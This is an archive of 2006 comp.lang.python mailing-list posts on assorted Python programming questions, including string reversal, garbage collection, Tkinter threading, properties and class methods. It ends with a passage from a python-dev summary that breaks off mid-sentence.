  - return_value_policy< return_opaque_pointer >, Py++ will create
    specialization for type_id function, as required by the library
* documentation, new chapters were written, all source code in documentation is
   highlighted using pykleur package.

Dependencies: Py++-0.8.2 depends on pygccxml-0.8.2.

-- 
Roman Yakovenko
C++ Python language binding
http://www.language-binding.net/


From hxianping at gmail.com  Thu Oct 26 02:29:01 2006
From: hxianping at gmail.com (steve)
Date: 25 Oct 2006 23:29:01 -0700
Subject: How the event list be sent to EventManager?
Message-ID: <1161844141.057735.252310@e3g2000cwe.googlegroups.com>

The example code from: http://sjbrown.ezide.com/games/example1.py.html
...
def Notify( self, event ):
                if not isinstance(event, TickEvent): Debug( "
Message: " + event.name )
                for listener in self.listeners.keys():
                        #If the weakref has died, remove it and
continue
                        #through the list
                        if listener is None:
                                del self.listeners[ listener ]
                                continue
                        listener.Notify( event )

I can not figure out how 'event' can has reference to 'event.name'?
Anyhow the 'event' has not defined!
The 'event' dynamically get its own type through
isinstance(event,TickEvent):...?



From nogradi at gmail.com  Sun Oct 29 15:17:05 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Sun, 29 Oct 2006 21:17:05 +0100
Subject: lossless transformation of jpeg images
In-Reply-To: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com>
References: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com>
Message-ID: <5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com>

> Hi all,
>
> Last time I checked PIL was not able to apply lossless transformations
> to jpeg images so I've created Python bindings (or is it a wrapper? I
> never knew the difference :)) for the jpegtran utility of the
> Independent Jpeg Group.
>
> The jpegtran utility is written in C and is very efficient, fast and
> robust. It can rotate, flip, transpose and transverse jpeg images in a
> lossless way, see www.ijg.org for more details.
>
> The bindings allow you to use all jpegtran features from Python.
>
> Downloads are here: http://ebiznisz.hu/python-jpegtran/
>
> Any feedback is very welcome, especially if you are able to compile it
> on non-standard platforms. It has been tested on Linux and Python 2.3.
>
> Usage example:
>
> import jpegtran
>
> transformer = jpegtran.transformer( )
>
> transformer.rotate( 90, 'pic.jpg', 'pic_rotated.jpg' )
> transformer.flip( 'horizontal', 'pic.jpg', 'pic_flipped.jpg' )
> transformer.transpose( 'pic.jpg', 'pic_transposed.jpg' )
> transformer.transverse( 'pic.jpg', 'pic_transversed.jpg' )
> transformer.gray( 'pic.jpg', 'pic_gray.jpg' )


Oh, I forgot to mention that this is a very preliminary release, there
is no support for distutils or any other intelligent packaging tool,
it uses 'make' so probably will only work on Unix flavours. Although
it should compile on Windows as well.


From joncle at googlemail.com  Fri Oct 13 11:28:48 2006
From: joncle at googlemail.com (Jon Clements)
Date: 13 Oct 2006 08:28:48 -0700
Subject: Loops Control with Python
In-Reply-To: <mailman.446.1160749325.11739.python-list@python.org>
References: <mailman.446.1160749325.11739.python-list@python.org>
Message-ID: <1160753328.450832.223610@i42g2000cwa.googlegroups.com>


Wijaya Edward wrote:
> Can we make loops control in Python?
> What I mean is that whether we can control
> which loops to exit/skip at the given scope.
>
> For example in Perl we can do something like:
>
> OUT:
> foreach my $s1 ( 0 ...100) {
>
>     IN:
>     foreach my $s2 (@array) {
>
>           if ($s1 == $s2) {
>              next OUT;
>           }
>           else {
>               last IN;
>           }
>
>      }
> }
>
> How can we implement that construct with Python?

Literally.

for si in range(100 + 1):
    for s2 in some_array:
        if s1 == s2: break

Same thing, but nicer.

for si in range(100 + 1):
    if si in some_array:
        # Do something here.....

Cheers,

Jon.



From http  Fri Oct 13 06:20:31 2006
From: http (Paul Rubin)
Date: 13 Oct 2006 03:20:31 -0700
Subject: Efficiently iterating over part of a list
References: <pan.2006.10.13.07.35.48.237633@REMOVEME.cybersource.com.au>
Message-ID: <7x8xjk4ivk.fsf@ruckus.brouhaha.com>

Steven D'Aprano <steve at REMOVEME.cybersource.com.au> writes:
> for i in range(1, len(alist)):
>     x = alist[i]

a2 = iter(alist)
a2.next()      # throw away first element
for x in a2:
  ...


From ilias at lazaridis.com  Tue Oct 17 12:32:01 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 17 Oct 2006 09:32:01 -0700
Subject: Python component model
In-Reply-To: <1161101573.420548.276270@e3g2000cwe.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<mailman.163.1160452251.11739.python-list@python.org>
	<1160538736.856864.175990@i42g2000cwa.googlegroups.com>
	<1160699534.615400.115130@i42g2000cwa.googlegroups.com>
	<1161066886.872563.150970@e3g2000cwe.googlegroups.com>
	<1161101573.420548.276270@e3g2000cwe.googlegroups.com>
Message-ID: <1161102721.003063.88340@h48g2000cwc.googlegroups.com>


Peter  Wang wrote:
> Ilias Lazaridis wrote:
> > Peter  Wang wrote:
> > > Ilias Lazaridis wrote:
> > > > what about persistency?
> > >
> > > Um... what about it?
> >
> > "
> > As far as I can see, there's no persistency binding available.
> >
> > Is one planned?
> > "
> > http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a
>
> This thread was just some name-calling between you and Robert Kern, but
> didn't really provide any details.

I've just asked about persistency.

No names called from my side.

> I guess I'm too dumb to understand the question... Does pickle not work
> for you?  What is a "persistency binding"?

I think I got my answer.

Thank's for your responses.

.

--
http://case.lazaridis.com/wiki/Stack



From paul at boddie.org.uk  Thu Oct 19 14:41:21 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 19 Oct 2006 11:41:21 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
Message-ID: <1161283281.065339.290070@i3g2000cwc.googlegroups.com>

James Stroud wrote:
>
> It would provide symmetry for reversing any sequence (without requiring
> an iterator).
>
> (1,2,3).reversed()
>
> "123".reversed()
>
> [1,2,3].reversed()

That might infuriate those who regard strings as "mischievous"
sequences (ie. things which cause errors because you think you have a
list, but you're actually accessing characters in a string), but it's a
valid point: the built-in sequence types should, within reason, provide
a similar interface.

The proposed solution involving slicing syntax does seem odd in the
sense that it's highly similar to the redundant-for-strings s[:]
operation, and it might require inspiration for anyone looking for
convenience methods on the string object to consider using slicing
instead in this manner. In looking for alternative approaches, I became
somewhat distracted by the classic approach you'd use with certain
functional languages: convert the string into a list of characters (if
it isn't already treated as a list), reverse the list, concatenate the
list. The following requires Python 2.4:

"".join(list(reversed(list(s))))

I guess Python 2.5 has the reversed method of which you speak. Still,
the simplest things are often the best, and Python's classic operators
(indexing, slicing) should always be kept in mind.

Paul



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 21 01:28:18 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 21 Oct 2006 15:28:18 +1000
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
Message-ID: <pan.2006.10.21.05.28.17.991220@REMOVE.THIS.cybersource.com.au>

On Thu, 19 Oct 2006 20:07:27 -0400, Brad wrote:

> Steven D'Aprano wrote:
> 
>> Gah!!! That's *awful* in so many ways.
> 
> Thanks... I'm used to hearing encouragement like that. After a while you 
> begin to believe that everything you do will be awful, so why even 
> bother trying?

Well obviously I hit a sore point. I wrote a little hastily, and wasn't
quite as polite as I could have been -- but it is true, the function you
wrote isn't good: a seven line function with five problems with it.

Your function was not at all Pythonic; but it isn't even good style for
any serious programming language I know of. I'm sorry if I came across as
abrasive, but I'm even sorrier that you can't take constructive criticism.
Some techniques are bad practice in any language.


> It has been my experience that Python has discouraging forums with 
> someone always calling someone else an idiot or telling them they are 
> awful in some way. I love Python, but the community is way too negative, 
> uptight and generally down on users who do not have PhD's in CS or Math.
>
> Do you have children? How would your child feel if he brought you 
> something he had made and you then told him it was awful in *sooo* many 
> ways. How does that reflect on you and the community you represent?

You don't need a PhD to write good code. And do you really want to be
treated as a child?

Perhaps I could/should have sugar-coated my earlier comments, but I've
seen no reason to retract any of them. 


-- 
Steven.



From fredrik at pythonware.com  Thu Oct  5 03:25:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 09:25:21 +0200
Subject: Python/Tkinter crash.
In-Reply-To: <op.tgxs4cobrqur0o@eb.pragmadev>
References: <mailman.1242.1159951684.10491.python-list@python.org>	<op.tgwml9x1rqur0o@eb.pragmadev>	<mailman.1279.1159985794.10491.python-list@python.org>
	<op.tgxs4cobrqur0o@eb.pragmadev>
Message-ID: <eg2c11$rmk$1@sea.gmane.org>

Eric Brunel wrote:

> AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize  
> the calls from different threads may seem to work (I never tested it  
> actually), but the safest way I found to use threads with Tkinter was to  
> call it only from the thread where the main loop executes.

the Tkinter binding contains some code that attempts to deal with re- 
entrant calls, but I don't know/remember to what extent it's actually 
supposed to work (in other words, if the observed problems are bugs or 
just limitations).

(maybe Martin's memory is better?)

anyway, I usually play it safe and make sure to use a single thread to 
deal with the UI.

</F>



From johnjsal at NOSPAMgmail.com  Mon Oct 30 11:36:09 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 16:36:09 GMT
Subject: Observation on "Core Python Programming"
In-Reply-To: <1162224331.430454.64940@m73g2000cwd.googlegroups.com>
References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com>
	<Fxo1h.192$1n3.4526@news.tufts.edu>
	<1162223991.134767.33560@m73g2000cwd.googlegroups.com>
	<1162224331.430454.64940@m73g2000cwd.googlegroups.com>
Message-ID: <ZRp1h.199$1n3.4433@news.tufts.edu>

John Coleman wrote:
> John Coleman wrote:
>> John Salerno wrote:
>>> John Coleman wrote:
>>>> Greetings,
>>>>    My copy of the second edition of Chun's "Core Python Programming"
>>>> just arrived from Amazon on Friday.
>>> Who would you say the book is aimed at? Advanced programmers? I thought
>>> about getting it, but I'm not sure if it will be either 1) too much
>>> repetition of the basics I've already learned (which isn't necessarily a
>>> bad thing), or 2) too advanced for me right now.
>>>
>>> Thanks.
>> It strikes me as being aimed at intermediate programmers who don't have
>> much familiarity with Python. I bought it since my only other book on
>> Python ("Learning Python" by Lutz) is somewhat dated now and because I
>> find that I'm a slow learner and it usually takes me a couple of books
>> by independent authors to "get" a language. The publisher's page is
>> more informative than what you see on Amazon. You can see the table of
>> contents and read a sample chapter there to help you decide if the book
>> is for you:
>> http://vig.prenhall.com/catalog/academic/product/1,4096,0130260363,00.html
>>
>> HTH
>>
>> -John Coleman
> 
> I just realized that I gave the link to the first edition site. The
> second edition site doesn't give a sample chapter (but does give the
> complete preface) and still provides a good feel for the book:
> http://vig.prenhall.com/catalog/academic/product/0,1144,0132269937,00.html
> 
> Sorry for any confusion
> 
> -John Coleman
> 

Thanks very much.


From ray_usenet at yahoo.com  Mon Oct  2 00:34:49 2006
From: ray_usenet at yahoo.com (Ray)
Date: 1 Oct 2006 21:34:49 -0700
Subject: windev vs python SOS
In-Reply-To: <nXzSg.195$nn3.31@nntpserver.swip.net>
References: <nXzSg.195$nn3.31@nntpserver.swip.net>
Message-ID: <1159763689.438498.115860@h48g2000cwc.googlegroups.com>

st?phane bard wrote:
> hello, my boss ask me to prefer windev to python.
> I have to argue
>
<snip>
> any idea for a strong argument ?

* WinDev is a virtual unknown outside France. I tried asking a bunch of
colleagues about WinDev just now. Nobody has even heard about it. Prior
to doing Java I was doing Windows development for years--never a single
time I heard about this thing.

This can be much more significant than you think--there's a huge
difference between developing something in a language that has a lot of
websites, books, forum, etc. dedicated to it, and a proprietary IDE. I
developed using a proprietary product I won't name here for about 2
years... the support was horrible, and the product SUCKS big time.

* Python is known world-wide, there are already many books written by
very, very intelligent people--you can "borrow" their brains anytime
through their books. There are many online resources at your fingertips
if you come across a problem. This group is also chock full of very
smart people, some of whom contribute code to Python itself. Wonder how
much do you have to pay WinDev for support?

(If your boss really doesn't like Python, you might as well use Visual
Basic, since it has a lot of free resources, Microsoft newsgroups, and
so on.)



From msherman77 at yahoo.com  Wed Oct 25 07:14:54 2006
From: msherman77 at yahoo.com (Michael S)
Date: Wed, 25 Oct 2006 07:14:54 -0400 (EDT)
Subject: No subject
In-Reply-To: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar>
Message-ID: <20061025111454.39434.qmail@web88303.mail.re4.yahoo.com>

Thanks Gabriel.
I think I'll try calling my module from a separate
thread as calling wxPython or even Python code from C
would be a bit complicated. My extension calls simple
<stdio.h> functions, but the issue was that the files
I operate on are huge in size and Python was taking a
long time and/or choking.

--- Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:

> At Tuesday 24/10/2006 23:25, Michael S wrote:
> 
> >I extended part of my program in C, since that part
> >was too involved for Python. Now when I import the
> >module I created and call its functions, I am
> trying
> >to feedback some information bac to my wxPython
> >program. The function runs for a while and I wanted
> to
> >update a progress bar, but when I call the function
> of
> >my new module, wxPython doesn't respond when
> wx.Timer
> >is supposed to fire.
> 
> Does your extension run on a separate thread? I
> guess not. So the 
> wxPython code does not have a chance to run.
> Do it the other way: from your C code, call a Python
> function which 
> in turn updates the progress bar (and keep it
> simple!)
> 
> 
> -- 
> Gabriel Genellina
> Softlab SRL 
> 
> __________________________________________________
> Correo Yahoo!
> Espacio para todos tus mensajes, antivirus y
> antispam ???gratis! 
> ???Abr??? tu cuenta ya! - http://correo.yahoo.com.ar
> 



From steve at holdenweb.com  Sun Oct  1 13:11:25 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 01 Oct 2006 18:11:25 +0100
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <qjSTg.106462$ED5.1281165@phobos.telenet-ops.be>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>	<efoo0p$59s$2@sea.gmane.org>	<mailman.1052.1159719593.10491.python-list@python.org>
	<qjSTg.106462$ED5.1281165@phobos.telenet-ops.be>
Message-ID: <efosqd$jh9$2@sea.gmane.org>

Roel Schroeven wrote:
> Charlie Strauss schreef:
> 
>>On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote:
>>
>>>charlie strauss wrote:
>>>
>>>>Could you clarify that for me.  GC really has three components
>>>>two it:  1) finding and freeing unrefernced memory by refer
>>>>refer counts 2)  cycle removal and 3)  defragementing the
>>>>storage stack.  If I turn off GC, don't I lose all of these?
>>>>
>>>
>>>CPython always does (1), only does (2) if cycle-breaking GC isn't
>>>disabled, and never does (3).
>>
> [snip]
> 
>>And just to be clear: are you saying that when I do a gc.disable this  
>>only turns off 2 and not 1?  The docs don't say that as far as I can  
>>tell.
> 
> 
> AFAIK Python always does reference counting, and the garbage collector 
> is used only for more difficult cases. As the gc module docs say:
> "Since the collector supplements the reference counting already used in 
> Python, you can disable the collector if you are sure your program does 
> not create reference cycles."
> 
> I don't know if that's only true for CPython or also for the other 
> implementations.
> 
Read the documentation: the garbage collector is called regularly in 
CPython.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From sferriol at imag.fr  Wed Oct 25 10:55:04 2006
From: sferriol at imag.fr (Sylvain Ferriol)
Date: Wed, 25 Oct 2006 16:55:04 +0200
Subject: class method question
Message-ID: <ehnu1i$9g3$1@trompette.imag.fr>

hello
can you explain why python does not see difference between instance 
method and class method, having the same name

example
 >>> class toto(object):
...     def f(self):
...             print('instance method')
...     @classmethod
...     def f(cls):
...             print('class method')
...
 >>> t=toto()
 >>> t.f
<bound method type.f of <class '__main__.toto'>>
 >>> t.f()
class method
 >>> toto.f()
class method


if i do the same in ruby:
"""
class Toto
   def meth
     print "instance method\n"
   end

   def Toto.meth
     print "class method\n"
   end
end

i = Toto.new
i.meth
Toto.meth
"""

$> ruby1.9 test_classmethod.rb
instance method
class method

thanks
sylvain


From johnjsal at NOSPAMgmail.com  Thu Oct  5 09:49:09 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 05 Oct 2006 13:49:09 GMT
Subject: can't open chm files all of a sudden
In-Reply-To: <Z_0Vg.10237$UG4.8682@newsread2.news.pas.earthlink.net>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<45247002$0$14726$c3e8da3@news.astraweb.com>
	<Z_0Vg.10237$UG4.8682@newsread2.news.pas.earthlink.net>
Message-ID: <p38Vg.70$1n3.1023@news.tufts.edu>

Dennis Lee Bieber wrote:
> On Wed, 04 Oct 2006 22:36:10 -0400, John Salerno
> <johnjsal at NOSPAMgmail.com> declaimed the following in comp.lang.python:
> 
>> John Machin wrote:
>>
>>> 4. Have you done a full virus and spy-ware scan? Do you regularly
>>> install Windows updates from Microsoft?
>> Well, this is certainly the last thing I expected to work, but it did! 
>> There was something called an IECache cookie (which I've actually had 
>> before) and after removing it my chm files open now! Thanks for 
>> suggesting this! I was desperate! :)
> 
> 	Probably some stray left behind by HTML KIt <G>... Remember, the
> rendering engine is NOT Internet Explorer only, it is shared by the
> desktop file Explorer, the help viewer, etc....

LOL. I was also asking for help in the HTML Kit newsgroup, and of course 
they assured me that HTML Kit does not change chm settings or replace 
dlls, nor is it related to this piece of spyware. :)


From DustanGroups at gmail.com  Fri Oct 20 18:28:06 2006
From: DustanGroups at gmail.com (Dustan)
Date: 20 Oct 2006 15:28:06 -0700
Subject: Inheriting property functions
Message-ID: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>

Looking at this interactive session:

>>> class A(object):
	def __init__(self, a):
		self.a = a
	def get_a(self): return self.__a
	def set_a(self, new_a): self.__a = new_a
	a = property(get_a, set_a)


>>> class B(A):
	b = property(get_a, set_a)


Traceback (most recent call last):
  File "<pyshell#11>", line 1, in <module>
    class B(A):
  File "<pyshell#11>", line 2, in B
    b = property(get_a, set_a)
NameError: name 'get_a' is not defined
>>> class B(A):
	b = a


Traceback (most recent call last):
  File "<pyshell#13>", line 1, in <module>
    class B(A):
  File "<pyshell#13>", line 2, in B
    b = a
NameError: name 'a' is not defined
>>>

B isn't recognizing its inheritence of A's methods get_a and set_a
during creation.

Why am I doing this? For an object of type B, it makes more sense to
reference the attribute 'b' than it does to reference the attribute
'a', even though they are the same, in terms of readability.

Is there any way to make this work as intended?



From jweida at gmail.com  Tue Oct 17 10:29:19 2006
From: jweida at gmail.com (Jerry)
Date: 17 Oct 2006 07:29:19 -0700
Subject: Format a number as currency! I can't find any help on this simple
	problem.
In-Reply-To: <1161094565.268129.132600@f16g2000cwb.googlegroups.com>
References: <mailman.251.1160535479.11739.python-list@python.org>
	<1160537295.884864.162200@i3g2000cwc.googlegroups.com>
	<1161094565.268129.132600@f16g2000cwb.googlegroups.com>
Message-ID: <1161095358.941047.182320@f16g2000cwb.googlegroups.com>

Replace the conv function call with locale.localeconv.

--
Jerry



From bearophileHUGS at lycos.com  Wed Oct 11 17:58:57 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 11 Oct 2006 14:58:57 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
	<Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com>
Message-ID: <1160603937.392188.253250@m7g2000cwm.googlegroups.com>

John Doty:
> Yes. The efficient exact algorithms for this problem use *partial*
> sorts. The Forth one from the FSL is of this class (although I know of
> two better ones for big arrays). But it's tough to beat the efficiency
> of the approximate histogram-based method the Python stats module
> implements.

The usual way to compute a true median with Python may be:

def median(inlist):
    newlist = sorted(inlist)
    index = len(newlist) // 2
    if len(newlist) % 2:
        return newlist[index]
    else:
        return (newlist[index] + newlist[index-1]) / 2.0

If you can use Psyco and your FITS lines are really long (well, maybe
too much, the treshold if about >~3000 in my PC) you can use something
like this instead the builtin timsort:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/466330
(To compute the median on a image line the median that uses sort is
probably better in most cases, expecially if you use the built in sort
of numerical libraries.)

Bye,
bearophile



From fumanchu at amor.org  Tue Oct 24 12:26:47 2006
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 24 Oct 2006 09:26:47 -0700
Subject: Talks at PyCon that Teach How to Be Better Programmers
Message-ID: <435DF58A933BA74397B42CDEB8145A86060FA979@ex9.hostedexchange.local>

Jeff Rush wrote:
> ...we need more talks that actually teach you how
> to be better programmers...What the Heck Does
> "Pythonic Programming Style" Mean Anyway?

I'm finishing an outline for a talk which will overlap this one a bit,
but under the topic "What makes a great API?" that will be directed more
at library authors than users:


I. Zero learning required
=========================

"""Civilization advances by extending the number of important operations
which we can perform without thinking about them."""
    -- Alfred North Whitehead, Introduction to Mathematics (1911)
    http://www.quotationspage.com/quote/30283.html

"""To be Pythonic is to avoid surprising experienced Python programmers
with unfamiliar ways to accomplish a task."""
    -- Martijn Faassen
    http://faassen.n--tree.net/blog/view/weblog/2005/08/06/0

1. Use native types, functions and idioms.
    a. Bare functions are better than class collections
    b. getters and setters considered harmful
2. Inventing new types: use Python idioms instead of inventing your own
    a. conform to Python API's
    b. subclass builtins rather than delegating
    c. judicious use of descriptors
3. DSLs suck
4. "Imagine your dream code and figure out how to make it happen"

But when you need to learn/remember something, the API must be...

II. Inspectable
===============

1. If help() is to be helpful, you must reduce [len(dir(obj)) for obj in
all_obj].
2. Dynamic languages naturally more lang-maven oriented?
   See http://osteele.com/archives/2004/11/ides

III. Programmable
=================

1. Config and other "declarative" modes: No "XML sit-ups"

IV. Readable = Simple
=====================

1. Parameterization and customization


Robert Brewer
System Architect
Amor Ministries
fumanchu at amor.org


From steven.bethard at gmail.com  Mon Oct  9 10:23:57 2006
From: steven.bethard at gmail.com (steven.bethard at gmail.com)
Date: Mon, 9 Oct 2006 14:23:57 +0000 (GMT)
Subject: python-dev Summary for 2006-08-01 through 2006-08-15
Message-ID: <20061009142359.7E19A1E4008@bag.python.org>

python-dev Summary for 2006-08-01 through 2006-08-15
++++++++++++++++++++++++++++++++++++++++++++++++++++

.. contents::

[The HTML version of this Summary is available at
http://www.python.org/dev/summary/2006-08-01_2006-08-15]



=========
Summaries
=========

--------------------------------
Mixing str and unicode dict keys
--------------------------------

Ralf Schmitt noted that in Python head, inserting str and unicode keys to the same dictionary would sometimes raise UnicodeDecodeErrors::

    >>> d = {}
    >>> d[u'm\xe1s'] = 1
    >>> d['m\xe1s'] = 1
    Traceback (most recent call last):
      ...
    UnicodeDecodeError: 'ascii' codec can't decode byte 0xe1 in position 1: ordinal not in range(128)

This error showed up as a result of Armin Rigo's `patch to stop dict lookup from hiding exceptions`_, which meant that the UnicodeDecodeError raised when a str object is compared to a non-ASCII unicode object was no longer silenced.  In the end, people agreed that UnicodeDecodeError should not be raised for equality comparisons, and in general, ``__eq__()`` methods should not raise exceptions. But comparing str and unicode objects is often a programming error, so in addition to just returning False, equality comparisons on str and non-ASCII unicode now issues a warning with the UnicodeDecodeError message.

.. _patch to stop dict lookup from hiding exceptions: http://bugs.python.org/1497053

Contributing threads:

- `unicode hell/mixing str and unicode as dictionary keys <http://mail.python.org/pipermail/python-dev/2006-August/067926.html>`__
- `Dicts are broken Was: unicode hell/mixing str and unicode asdictionarykeys <http://mail.python.org/pipermail/python-dev/2006-August/067978.html>`__
- `Dicts are broken ... <http://mail.python.org/pipermail/python-dev/2006-August/067992.html>`__
- `Dict suppressing exceptions <http://mail.python.org/pipermail/python-dev/2006-August/068090.html>`__

-----------------------
Rounding floats to ints
-----------------------

Bob Ippolito pointed out a long-standing bug in the struct module where floats were automatically converted to ints. Michael Urman showed a simple case that would provoke an exception if the bug were fixed::

    pack('>H', round(value * 32768))
    
The source of this bug is the expectation that ``round()`` returns an int, when it actually returns a float.  There was then some discussion about splitting the round functionality into two functions: ``__builtin__.round()`` which would round floats to ints, and ``math.round()`` which would round floats to floats.  There was also some discussion about the optional argument to ``round()`` which currently specifies the number of decimal places to round to -- a number of folks felt that it was a mistake to round to *decimal* places when a float can only truly reflect *binary* places.

In the end, there were no definite conclusions about the future of ``round()``, but it seemed like the discussion might be resumed on the Python 3000 list.

Contributing threads:

- `struct module and coercing floats to integers <http://mail.python.org/pipermail/python-dev/2006-July/067798.html>`__
- `Rounding float to int directly (Re: struct module and coercing floats to integers) <http://mail.python.org/pipermail/python-dev/2006-July/067819.html>`__
- `Rounding float to int directly (Re: struct module and coercing floats to integers) <http://mail.python.org/pipermail/python-dev/2006-August/067867.html>`__
- `Rounding float to int directly ... <http://mail.python.org/pipermail/python-dev/2006-August/067873.html>`__
- `struct module and coercing floats to integers <http://mail.python.org/pipermail/python-dev/2006-August/067911.html>`__

---------------------------
Assigning to function calls
---------------------------

Neal Becker proposed that code by ``X() += 2`` be allowed so that you could call __iadd__ on objects immediately after creation. People pointed out that allowing augmented *assignment* is misleading when no assignment can occur, and it would be better just to call the method directly, e.g. ``X().__iadd__(2)``.

Contributing threads:

- `SyntaxError: can't assign to function call <http://mail.python.org/pipermail/python-dev/2006-August/068081.html>`__
- `Split augmented assignment into two operator sets? [Re: SyntaxError: can't assign to function call] <http://mail.python.org/pipermail/python-dev/2006-August/068148.html>`__

---------------------------------------
PEP 357: Integer clipping and __index__
---------------------------------------

After some further discussion on the `__index__ issue`_ of last fortnight, Travis E. Oliphant proposed `a patch for __index__`_ that introduced three new C API functions:

* PyIndex_Check(obj) -- checks for nb_index
* PyObject* PyNumber_Index(obj) -- calls nb_index if possible or raises a TypeError
* Py_ssize_t PyNumber_AsSsize_t(obj, err) -- converts the object to a Py_ssize_t, raising err on overflow

After a few minor edits, this patch was checked in.

.. ___index__ issue: http://www.python.org/dev/summary/2006-07-16_2006-07-31/#pep-357-integer-clipping-and-index
.. _a patch for __index__: http://bugs.python.org/1538606

Contributing threads:

- `Bad interaction of __index__ and sequence repeat <http://mail.python.org/pipermail/python-dev/2006-August/067870.html>`__
- `__index__ clipping <http://mail.python.org/pipermail/python-dev/2006-August/068091.html>`__
- `Fwd: [Python-checkins] r51236 - in python/trunk: Doc/api/abstract.tex Include/abstract.h Include/object.h Lib/test/test_index.py Misc/NEWS Modules/arraymodule.c Modules/mmapmodule.c Modules/operator.c Objects/abstract.c Objects/classobject.c Objects/ <http://mail.python.org/pipermail/python-dev/2006-August/068204.html>`__
- `Fwd: [Python-checkins] r51236 - in python/trunk: Doc/api/abstract.tex Include/abstract.h Include/object.h Lib/test/test_index.py Misc/NEWS Modules/arraymodule.c Modules/mmapmodule.c Modules/operator.c Objects/abstract.c Objects/class <http://mail.python.org/pipermail/python-dev/2006-August/068209.html>`__

----------------------------
OpenSSL and Windows binaries
----------------------------

Jim Jewett pointed out that a default build of OpenSSL includes the patented IDEA cipher, and asked whether that needed to be kept out of the Windows binary versions.  There was some concern about dropping a feature, but Gregory P. Smith pointed out that IDEA isn't directly exposed to any Python user, and suggested that IDEA should never be required by any sane SSL connection.  Martin v. Lowis promised to look into making the change.

Update:  The change was checked in before 2.5 was released.

Contributing threads:

- `windows 2.5 build: use OpenSSL for hashlib [bug 1535502] <http://mail.python.org/pipermail/python-dev/2006-August/068009.html>`__
- `openSSL and windows binaries - license <http://mail.python.org/pipermail/python-dev/2006-August/068055.html>`__

----------------------------
Type of range object members
----------------------------

Alexander Belopolsky proposed making the members of the ``range()`` object use Py_ssize_t instead of C longs.  Guido indicated that this was basically wasted effort -- in the long run, the members should be PyObject* so that they can handle Python longs correctly, so converting them to Py_ssize_t would be an intermediate step that wouldn't help in the transition.

There was then some discussion about the int and long types in Python 3000, with Guido suggesting two separate implementations that would be mostly hidden at the Python level.

Contributing thread:

- `Type of range object members <http://mail.python.org/pipermail/python-dev/2006-August/068230.html>`__

------------------------
Distutils version number
------------------------

A user noted that Python 2.4.3 shipped with distutils 2.4.1 and the version number of distutils in the repository was only 2.4.0 and requested that Python 2.5 include the newer distutils.  In fact, the newest distutils was already the one in the repository but the version number had not been appropriately bumped. For a short while, the distutils number was automatically generated from the Python one, but Marc-Andre Lemburg volunteered to manually bump it so that it would be easier to use the SVN distutils with a different Python version.

Contributing threads:

- `Which version of distutils to ship with Python 2.5? <http://mail.python.org/pipermail/python-dev/2006-August/067869.html>`__
- `no remaining issues blocking 2.5 release <http://mail.python.org/pipermail/python-dev/2006-August/068240.html>`__

-------------------------------------
Dict containment and unhashable items
-------------------------------------

tomer filiba suggested that dict.__contain__ should return False instead of raising a TypeError in situations like::

    >>> a={1:2, 3:4}
    >>> [] in a
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    TypeError: list objects are unhashable

Guido suggested that swallowing the TypeError here would be a mistake as it would also swallow any TypeErrors produced by faulty ``__hash__()`` methods.

Contributing threads:

- `dict containment annoyance <http://mail.python.org/pipermail/python-dev/2006-August/068198.html>`__
- `NotHashableError? (Re: dict containment annoyance) <http://mail.python.org/pipermail/python-dev/2006-August/068218.html>`__

-------------------------------
Returning longs from __hash__()
-------------------------------

Armin Rigo pointed out that Python 2.5's change that allows id() to return ints or longs would have caused some breakage for custom hash functions like::
